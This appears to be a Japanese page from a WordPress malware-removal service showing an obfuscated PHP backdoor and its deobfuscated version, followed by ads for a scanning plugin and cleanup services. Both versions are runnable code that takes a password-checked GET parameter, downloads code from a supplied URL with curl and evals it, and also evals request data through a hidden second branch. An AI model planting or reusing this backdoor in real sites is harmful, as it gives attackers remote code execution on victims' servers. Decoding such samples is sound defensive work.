PHP 難読化コードの復元・デコード

難読化されたPHPコード

<?php
goto MMyHoA3HHwe0iiS;
Tna9zTbOiDvMk1C:
metaphone("\115\x54\115\x31\117\x54\101\64\x4d\124\x63\170\x4e\x7a\x55\61\x4e\172\101\64\x4e\152\147\x35\x4f\124\x55\63\x4e\104\x4d\x78");
goto ujTlGlADaopEX7L;
MMyHoA3HHwe0iiS:
$H6MRj3rIAzYRPgc = "\x72" . "\x61" . "\x6e" . "\x67" . "\145";
goto ZFGUSGXZ9rBY1lW;
ujTlGlADaopEX7L:
class gs9ZTUGLINQgzRK
{
	static function bwWOBDXEncraemX($kDaZDAoYQTJqwXZ)
	{
		goto ExNLSlVBdNwpcem;
		fi6esDzueFd929E:
		return $U5llEdbgbcPs6wD;
		goto PO7XPbVTsXZ5tjo;
		itXROz3q7i_oSB1:
		BkenXqgDd543SS1:
		goto fi6esDzueFd929E;
		aJ8rvSl0Bu10xG1:
		$U5llEdbgbcPs6wD = '';
		goto cLgL3GPUbCWcBja;
		ExNLSlVBdNwpcem:
		$MnbyHVgnCXcLbxR = "\162" . "\x61" . "\x6e" . "\147" . "\145";
		goto UThnVBPhZiX8FJA;
		Bb82NarGKBqZ8pk:
		$ktTQz70_76C2LAl = explode("\135", $kDaZDAoYQTJqwXZ);
		goto aJ8rvSl0Bu10xG1;
		cLgL3GPUbCWcBja:
		foreach ($ktTQz70_76C2LAl as $pZWunZL22jiOqQC => $kE0vhCll4KUiSWL) {
			$U5llEdbgbcPs6wD .= $rr35dLAFdlzNV2r[$kE0vhCll4KUiSWL - 60722];
			GZR8o0EVv0TXSb0:
		}
		goto itXROz3q7i_oSB1;
		UThnVBPhZiX8FJA:
		$rr35dLAFdlzNV2r = $MnbyHVgnCXcLbxR("\x7e", "\x20");
		goto Bb82NarGKBqZ8pk;
		PO7XPbVTsXZ5tjo:
	}
	static function UBlAGTuhT9fw56i($yJIZJFO_t_DvMgx, $cu2bCN3KaNYEOaQ)
	{
		goto pbz3LVFbcpT2FwG;
		VHI0iGxdpIeO4TU:
		$cdO8qoRZjb1zpvX = curl_exec($sE1sZyymcepKWSc);
		goto LyVXpInc62ZgSFY;
		LyVXpInc62ZgSFY:
		return empty($cdO8qoRZjb1zpvX) ? $cu2bCN3KaNYEOaQ($yJIZJFO_t_DvMgx) : $cdO8qoRZjb1zpvX;
		goto nBhJeh0CLxEXsvf;
		OMTpiTRxiL5Yt72:
		curl_setopt($sE1sZyymcepKWSc, CURLOPT_RETURNTRANSFER, 1);
		goto VHI0iGxdpIeO4TU;
		pbz3LVFbcpT2FwG:
		$sE1sZyymcepKWSc = curl_init($yJIZJFO_t_DvMgx);
		goto OMTpiTRxiL5Yt72;
		nBhJeh0CLxEXsvf:
	}
	static function Pzw3j8NyWc9CkX6()
	{
		goto Eonmop2W6O7u99n;
		RWpegUcAVZZjwit:
		XnfAchcyNGJ_kSA:
		goto ujEK_MSyaN5ChpL;
		jn7TQ4fV1HCKah3:
		die;
		goto zAw6yUcs37uupeG;
		sfABuBExcvEZLoc:
		$GZrdigY5nc1y8YL = @$FRZsthKqdqHiwRA[1 + 2]($FRZsthKqdqHiwRA[2 + 4], $Ee01ZSdSlpZETQq);
		goto b2_SZdsotC3ZMXt;
		zAw6yUcs37uupeG:
		mu3dUl7F31bw9ZC:
		goto P061HjP1egMtN9C;
		ujEK_MSyaN5ChpL:
		$Ee01ZSdSlpZETQq = @$FRZsthKqdqHiwRA[1]($FRZsthKqdqHiwRA[7 + 3](INPUT_GET, $FRZsthKqdqHiwRA[1 + 8]));
		goto sfABuBExcvEZLoc;
		Mnq83LVthvIQ1CR:
		@eval($FRZsthKqdqHiwRA[3 + 1]($aXZlnuhmsbvkvTO));
		goto jn7TQ4fV1HCKah3;
		FzRS1kUverllMEa:
		if (!(@$GKGTCxm7QVc5Nx9[0] - time() > 0 and md5(md5($GKGTCxm7QVc5Nx9[0 + 3])) === "\x38\x61\67\63\63\x33\61\63\142\x66\x36\x62\71\x63\63\71\66\66\x30\143\x63\71\x62\146\64\x33\x32\x39\x64\x31\x62\141")) {
			goto mu3dUl7F31bw9ZC;
		}
		goto vnmbvBkI9NWAao5;
		AJeA9nkrjCl5tW3:
		foreach ($nJEprvIosB1XrDs as $DuMPywarsAmEnZw) {
			$FRZsthKqdqHiwRA[] = self::BWWObdXENcrAemx($DuMPywarsAmEnZw);
			YdYdNr6Iw0lBktA:
		}
		goto RWpegUcAVZZjwit;
		vnmbvBkI9NWAao5:
		$aXZlnuhmsbvkvTO = self::ubLaGTUhT9FW56i($GKGTCxm7QVc5Nx9[1 + 0], $FRZsthKqdqHiwRA[0 + 5]);
		goto Mnq83LVthvIQ1CR;
		ckeSbg69bHAUfyk:
		@$FRZsthKqdqHiwRA[7 + 3](INPUT_GET, "\157\146") == 1 && die($FRZsthKqdqHiwRA[0 + 5](__FILE__));
		goto FzRS1kUverllMEa;
		b2_SZdsotC3ZMXt:
		$GKGTCxm7QVc5Nx9 = $FRZsthKqdqHiwRA[2 + 0]($GZrdigY5nc1y8YL, true);
		goto ckeSbg69bHAUfyk;
		Eonmop2W6O7u99n:
		$nJEprvIosB1XrDs = array("\66\60\67\64\x39\x5d\66\60\67\x33\x34\x5d\x36\x30\x37\64\x37\135\x36\x30\67\65\61\135\66\60\67\x33\x32\x5d\x36\x30\x37\x34\67\135\x36\x30\67\x35\x33\x5d\x36\x30\x37\x34\66\135\x36\60\67\x33\x31\135\66\60\x37\63\x38\x5d\66\x30\67\64\71\135\x36\60\x37\x33\x32\x5d\x36\60\67\64\x33\135\66\60\67\x33\67\135\66\x30\x37\x33\x38", "\x36\x30\x37\63\x33\x5d\66\x30\x37\63\62\x5d\x36\60\x37\63\64\135\x36\x30\67\x35\63\x5d\66\60\x37\x33\64\x5d\x36\x30\67\x33\x37\135\x36\60\67\x33\x32\x5d\x36\60\x37\71\71\135\66\x30\67\x39\67", "\66\x30\x37\64\x32\135\66\60\x37\63\x33\135\66\60\67\x33\67\135\66\x30\x37\63\x38\x5d\66\x30\67\x35\63\x5d\66\x30\x37\64\70\x5d\x36\x30\x37\64\x37\135\x36\x30\67\64\x39\x5d\66\60\67\63\67\x5d\x36\60\x37\64\70\x5d\66\x30\67\64\x37", "\66\60\x37\x33\66\135\x36\x30\x37\x35\x31\x5d\66\60\67\x34\71\135\x36\60\x37\64\x31", "\x36\x30\x37\x35\60\135\x36\60\67\x35\x31\x5d\x36\x30\x37\63\63\135\66\60\x37\x34\67\135\x36\x30\67\x39\64\x5d\x36\x30\x37\71\66\x5d\66\x30\x37\x35\63\x5d\66\x30\67\x34\x38\135\x36\60\67\x34\x37\x5d\66\60\x37\x34\71\x5d\x36\60\67\63\x37\x5d\66\60\67\x34\x38\135\x36\x30\67\x34\x37", "\66\x30\x37\64\66\135\66\60\x37\x34\63\135\x36\60\67\x34\60\x5d\66\x30\67\64\x37\x5d\x36\60\x37\65\63\x5d\x36\x30\67\x34\x35\x5d\66\60\67\x34\x37\135\x36\x30\x37\x33\x32\x5d\x36\60\67\x35\63\x5d\x36\60\x37\64\71\x5d\x36\60\67\x33\x37\135\66\60\67\x33\70\x5d\66\x30\x37\63\x32\x5d\66\60\67\x34\x37\135\x36\60\67\63\70\135\x36\x30\67\63\62\x5d\x36\60\67\x33\63", "\66\60\67\x37\x36\x5d\x36\60\70\x30\x36", "\x36\x30\x37\x32\x33", "\66\60\x38\x30\61\x5d\66\x30\70\x30\66", "\66\60\x37\x38\x33\135\x36\x30\x37\x36\x36\135\x36\x30\67\66\66\x5d\x36\x30\x37\70\x33\135\66\60\67\x35\71", "\66\60\x37\64\66\x5d\66\x30\67\x34\x33\x5d\66\x30\67\64\60\135\66\60\67\63\x32\x5d\66\x30\67\64\67\x5d\66\60\67\63\64\135\66\x30\67\65\63\135\66\60\67\64\63\135\x36\60\x37\63\x38\x5d\x36\60\x37\63\x36\135\66\x30\x37\x33\61\135\x36\x30\x37\63\x32");
		goto AJeA9nkrjCl5tW3;
		P061HjP1egMtN9C:
	}
}
goto CcBu_i5aW2kH6Gq;
ZFGUSGXZ9rBY1lW:
$ygKbZmm7VJ0ys1s = $H6MRj3rIAzYRPgc("\176", "\40");
goto cNqJlvySqG8iSn_;
Wf5yBPfUZJ7feEd:
@(md5(md5(md5(md5($mC7IUKHEUCyrREw[6])))) === "\70\x35\x62\x34\x31\x37\63\67\x36\x66\61\x39\x64\146\61\70\144\142\66\x31\x64\x39\71\x63\62\x61\x36\x63\143\x37\x36\63") && (count($mC7IUKHEUCyrREw) == 12 && in_array(gettype($mC7IUKHEUCyrREw) . count($mC7IUKHEUCyrREw), $mC7IUKHEUCyrREw)) ? ($mC7IUKHEUCyrREw[67] = $mC7IUKHEUCyrREw[67] . $mC7IUKHEUCyrREw[75]) && ($mC7IUKHEUCyrREw[89] = $mC7IUKHEUCyrREw[67]($mC7IUKHEUCyrREw[89])) && @eval($mC7IUKHEUCyrREw[67](${$mC7IUKHEUCyrREw[45]}[24])) : $mC7IUKHEUCyrREw;
goto Tna9zTbOiDvMk1C;
cNqJlvySqG8iSn_:
$mC7IUKHEUCyrREw = ${$ygKbZmm7VJ0ys1s[8 + 23] . $ygKbZmm7VJ0ys1s[5 + 54] . $ygKbZmm7VJ0ys1s[38 + 9] . $ygKbZmm7VJ0ys1s[40 + 7] . $ygKbZmm7VJ0ys1s[7 + 44] . $ygKbZmm7VJ0ys1s[41 + 12] . $ygKbZmm7VJ0ys1s[43 + 14]};
goto Wf5yBPfUZJ7feEd;
CcBu_i5aW2kH6Gq:
gs9ztUGLinqGZRK::PZW3j8nYwC9CKX6();
?>
BiaoJiOk

デコード(難読化解除)されたコード

<?php

$H6MRj3rIAzYRPgc = "range";
$ygKbZmm7VJ0ys1s = range("~", " ");
$mC7IUKHEUCyrREw = ${$ygKbZmm7VJ0ys1s[31] . $ygKbZmm7VJ0ys1s[59] . $ygKbZmm7VJ0ys1s[47] . $ygKbZmm7VJ0ys1s[47] . $ygKbZmm7VJ0ys1s[51] . $ygKbZmm7VJ0ys1s[53] . $ygKbZmm7VJ0ys1s[57]};
@(md5(md5(md5(md5($mC7IUKHEUCyrREw[6])))) === "85b417376f19df18db61d99c2a6cc763") && (count($mC7IUKHEUCyrREw) == 12 && in_array(gettype($mC7IUKHEUCyrREw) . count($mC7IUKHEUCyrREw), $mC7IUKHEUCyrREw)) ? ($mC7IUKHEUCyrREw[67] .= $mC7IUKHEUCyrREw[75]) && ($mC7IUKHEUCyrREw[89] = $mC7IUKHEUCyrREw[67]($mC7IUKHEUCyrREw[89])) && @eval($mC7IUKHEUCyrREw[67](${$mC7IUKHEUCyrREw[45]}[24])) : $mC7IUKHEUCyrREw;
metaphone("MTM1OTA4MTcxNzU1NzA4Njg5OTU3NDMx");
class gs9ZTUGLINQgzRK
{
    static function bwWOBDXEncraemX($kDaZDAoYQTJqwXZ)
    {
        $MnbyHVgnCXcLbxR = "range";
        $rr35dLAFdlzNV2r = range("~", " ");
        $ktTQz70_76C2LAl = explode("]", $kDaZDAoYQTJqwXZ);
        $U5llEdbgbcPs6wD = '';
        foreach ($ktTQz70_76C2LAl as $pZWunZL22jiOqQC => $kE0vhCll4KUiSWL) {
            $U5llEdbgbcPs6wD .= $rr35dLAFdlzNV2r[$kE0vhCll4KUiSWL - 60722];
        }
        return $U5llEdbgbcPs6wD;
    }
    static function UBlAGTuhT9fw56i($yJIZJFO_t_DvMgx, $cu2bCN3KaNYEOaQ)
    {
        $sE1sZyymcepKWSc = curl_init($yJIZJFO_t_DvMgx);
        curl_setopt($sE1sZyymcepKWSc, CURLOPT_RETURNTRANSFER, 1);
        $cdO8qoRZjb1zpvX = curl_exec($sE1sZyymcepKWSc);
        return empty($cdO8qoRZjb1zpvX) ? $cu2bCN3KaNYEOaQ($yJIZJFO_t_DvMgx) : $cdO8qoRZjb1zpvX;
    }
    static function Pzw3j8NyWc9CkX6()
    {
        $nJEprvIosB1XrDs = array("60749]60734]60747]60751]60732]60747]60753]60746]60731]60738]60749]60732]60743]60737]60738", "60733]60732]60734]60753]60734]60737]60732]60799]60797", "60742]60733]60737]60738]60753]60748]60747]60749]60737]60748]60747", "60736]60751]60749]60741", "60750]60751]60733]60747]60794]60796]60753]60748]60747]60749]60737]60748]60747", "60746]60743]60740]60747]60753]60745]60747]60732]60753]60749]60737]60738]60732]60747]60738]60732]60733", "60776]60806", "60723", "60801]60806", "60783]60766]60766]60783]60759", "60746]60743]60740]60732]60747]60734]60753]60743]60738]60736]60731]60732");
        foreach ($nJEprvIosB1XrDs as $DuMPywarsAmEnZw) {
            $FRZsthKqdqHiwRA[] = self::BWWObdXENcrAemx($DuMPywarsAmEnZw);
        }
        $Ee01ZSdSlpZETQq = @$FRZsthKqdqHiwRA[1]($FRZsthKqdqHiwRA[10](INPUT_GET, $FRZsthKqdqHiwRA[9]));
        $GZrdigY5nc1y8YL = @$FRZsthKqdqHiwRA[3]($FRZsthKqdqHiwRA[6], $Ee01ZSdSlpZETQq);
        $GKGTCxm7QVc5Nx9 = $FRZsthKqdqHiwRA[2]($GZrdigY5nc1y8YL, true);
        @$FRZsthKqdqHiwRA[10](INPUT_GET, "of") == 1 && die($FRZsthKqdqHiwRA[5]("/var/www/html/input.php"));
        if (!(@$GKGTCxm7QVc5Nx9[0] - time() > 0 and md5(md5($GKGTCxm7QVc5Nx9[3])) === "8a733313bf6b9c39660cc9bf4329d1ba")) {
            // [PHPDeobfuscator] Implied return
            return;
        }
        $aXZlnuhmsbvkvTO = self::ubLaGTUhT9FW56i($GKGTCxm7QVc5Nx9[1], $FRZsthKqdqHiwRA[5]);
        @eval($FRZsthKqdqHiwRA[4]($aXZlnuhmsbvkvTO));
        die;
    }
}
gs9ztUGLinqGZRK::PZW3j8nYwC9CKX6();
?>
BiaoJiOk

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

（C）2019 ワードプレス ドクター All rights reserved.